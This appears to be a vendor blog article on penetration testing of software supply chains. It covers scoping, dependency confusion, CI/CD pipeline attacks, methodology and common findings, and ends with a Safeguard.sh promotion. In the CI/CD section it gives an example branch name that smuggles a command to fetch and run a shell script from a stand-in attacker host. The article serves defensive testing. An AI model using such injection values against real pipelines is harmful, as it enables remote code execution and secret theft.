Traditional penetration testing validates the security of a running application: probe the endpoints, test authentication, look for injection vulnerabilities, try to escalate privileges. This is valuable work, but it misses an entire class of attacks. Supply chain attacks do not target the running application. They target the process that builds, packages, and distributes the application.
Penetration testing the software supply chain is a different discipline. The target is not a web server but a CI/CD pipeline, a package registry, a build environment, or a distribution channel. The goal is not to find SQL injection but to demonstrate that an attacker can inject malicious code into a legitimate software artifact.
Scoping a Supply Chain Pentest
The first challenge is defining what is in scope. A supply chain pentest can target several areas.
Source Code Management
Can an attacker modify source code without detection? This includes:
- Repository access controls: Can unauthorized users push to protected branches?
- Code review bypasses: Can a malicious commit be merged without review?
- Webhook manipulation: Can repository webhooks be modified to exfiltrate code or trigger malicious builds?
- Commit signing enforcement: Are unsigned commits accepted? Can commit signatures be forged?
Build Pipeline
Can an attacker modify the build process? This includes:
- Pipeline configuration: Can pipeline definitions (Jenkinsfile, .github/workflows, .gitlab-ci.yml) be modified by unauthorized users?
- Build environment compromise: Can the build environment be manipulated to inject code?
- Secrets exposure: Are build secrets (API keys, signing keys, registry credentials) accessible to unauthorized pipeline steps or pull requests from forks?
- Cache poisoning: Can build caches be poisoned to inject malicious artifacts?
Dependency Resolution
Can an attacker influence which dependencies are installed? This covers:
- Dependency confusion: Can a public package be created that shadows an internal package?
- Typosquatting: How effectively does the organization detect and block typosquatted packages?
- Registry security: Are private registries properly secured? Can unauthorized packages be published?
- Lock file integrity: Are lock files verified? Can they be tampered with?
Artifact Distribution
Can an attacker modify artifacts after they are built? This includes:
- Artifact repository security: Can published artifacts be overwritten?
- Container registry security: Can container images be modified after pushing?
- Code signing verification: Are signatures verified at deployment time?
- Distribution channel integrity: Can update mechanisms be hijacked?
Testing Techniques
Dependency Confusion Testing
Dependency confusion exploits the resolution order between public and private package registries. If an organization uses internal packages with names that do not exist on public registries, an attacker can publish packages with those names publicly and potentially have them installed instead of the internal versions.
To test this safely:
- Identify internal package names from build configurations, documentation, or error messages
- Check whether those names are claimed on public registries (npmjs.com, pypi.org, Maven Central)
- If unclaimed, register the name with a benign test payload that phones home (with explicit authorization)
- Monitor whether any builds fetch the public package instead of the internal one
Important: This must be done with explicit written authorization and coordination. Publishing packages to public registries as part of a pentest without authorization is irresponsible and potentially illegal.
CI/CD Pipeline Exploitation
Modern CI/CD systems are powerful and complex, which makes them rich targets.
Pull request pipeline attacks: Many CI/CD systems run pipelines on pull requests, including those from forks. If the pipeline has access to secrets (signing keys, deployment credentials), a malicious pull request can exfiltrate them. Test whether fork PRs have access to repository secrets.
Pipeline injection: If pipeline configuration files are in the repository, test whether a PR can modify the pipeline definition to add malicious steps. Even if the PR is not merged, the modified pipeline runs during CI.
Environment variable injection: Test whether build inputs (branch names, commit messages, PR titles) are used unsafely in pipeline commands. A branch name like feature; curl attacker.com/shell.sh | bash can lead to command injection if interpolated directly into a shell command.
Cache poisoning: If the CI/CD system uses shared caches, test whether one pipeline run can poison the cache for subsequent runs. A poisoned cache could include modified dependency archives or build tools.
Build Environment Analysis
If access to the build environment is in scope:
- Enumerate what secrets are available (environment variables, mounted secrets, service account tokens)
- Check whether the build environment has internet access (can it download arbitrary packages?)
- Test whether build artifacts can be modified after creation but before signing
- Verify that build tools are pinned to specific versions and verified by hash
Registry Security Testing
For private package registries:
- Test authentication and authorization (can unauthorized users publish packages?)
- Test whether published packages can be overwritten (immutable publishing)
- Test upstream proxy behavior (does the proxy fetch from public registries? In what order?)
- Test for registry-level vulnerabilities (API injection, access control bypasses)
Methodology
Phase 1: Reconnaissance
Map the software supply chain. This includes:
- Identify all source code repositories and hosting platforms
- Document CI/CD systems and pipeline configurations
- List package registries (public and private) used by the organization
- Catalog build environments and their configurations
- Identify artifact storage and distribution mechanisms
- Map the dependency trees of target applications (SBOMs are invaluable here)
Phase 2: Threat Modeling
Based on the reconnaissance, identify the highest-value attack paths. Prioritize based on:
- Impact: What can an attacker achieve? Code execution in production? Access to customer data?
- Feasibility: How complex is the attack? Does it require insider access or can an external attacker execute it?
- Detection: How likely is the attack to be detected? Supply chain attacks that blend into normal build activity are particularly dangerous.
Phase 3: Exploitation
Execute authorized tests against the identified attack paths. For each test:
- Document the exact steps to reproduce
- Capture evidence of successful exploitation
- Note any controls that were bypassed
- Assess the blast radius (how many applications or services would be affected)
Phase 4: Reporting
Supply chain pentest reports should emphasize:
- The attack narrative (step-by-step path from initial access to impact)
- The trust assumptions that were violated
- Specific, actionable remediation steps
- The systemic risk (a single pipeline vulnerability may affect hundreds of applications)
Common Findings
Based on real-world supply chain pentests, the most common findings include:
- Overly permissive CI/CD secrets: Build pipelines with access to production deployment credentials, signing keys, or cloud provider accounts with broad permissions
- Missing branch protection: Protected branches that can be bypassed through force push, admin override, or status check manipulation
- Dependency confusion susceptibility: Internal package names that are unclaimed on public registries
- Fork PR secret exposure: CI/CD systems that expose repository secrets to pull requests from forks
- Unsigned or unverified artifacts: Build artifacts that are deployed without signature verification
- Stale dependencies: Dependencies with known vulnerabilities that have not been updated, sometimes for years
How Safeguard.sh Helps
Safeguard.sh strengthens your supply chain posture before, during, and after penetration testing. Before a pentest, comprehensive SBOMs generated by Safeguard.sh give testers the dependency information they need for reconnaissance without requiring direct access to source code. During testing, Safeguard.sh's policy gates help identify which controls are in place and which are missing.
After the pentest, Safeguard.sh provides the ongoing monitoring needed to ensure findings are remediated and do not regress. Dependency updates are tracked, vulnerability correlation runs continuously, and policy enforcement ensures that new code meets the security standards identified during testing.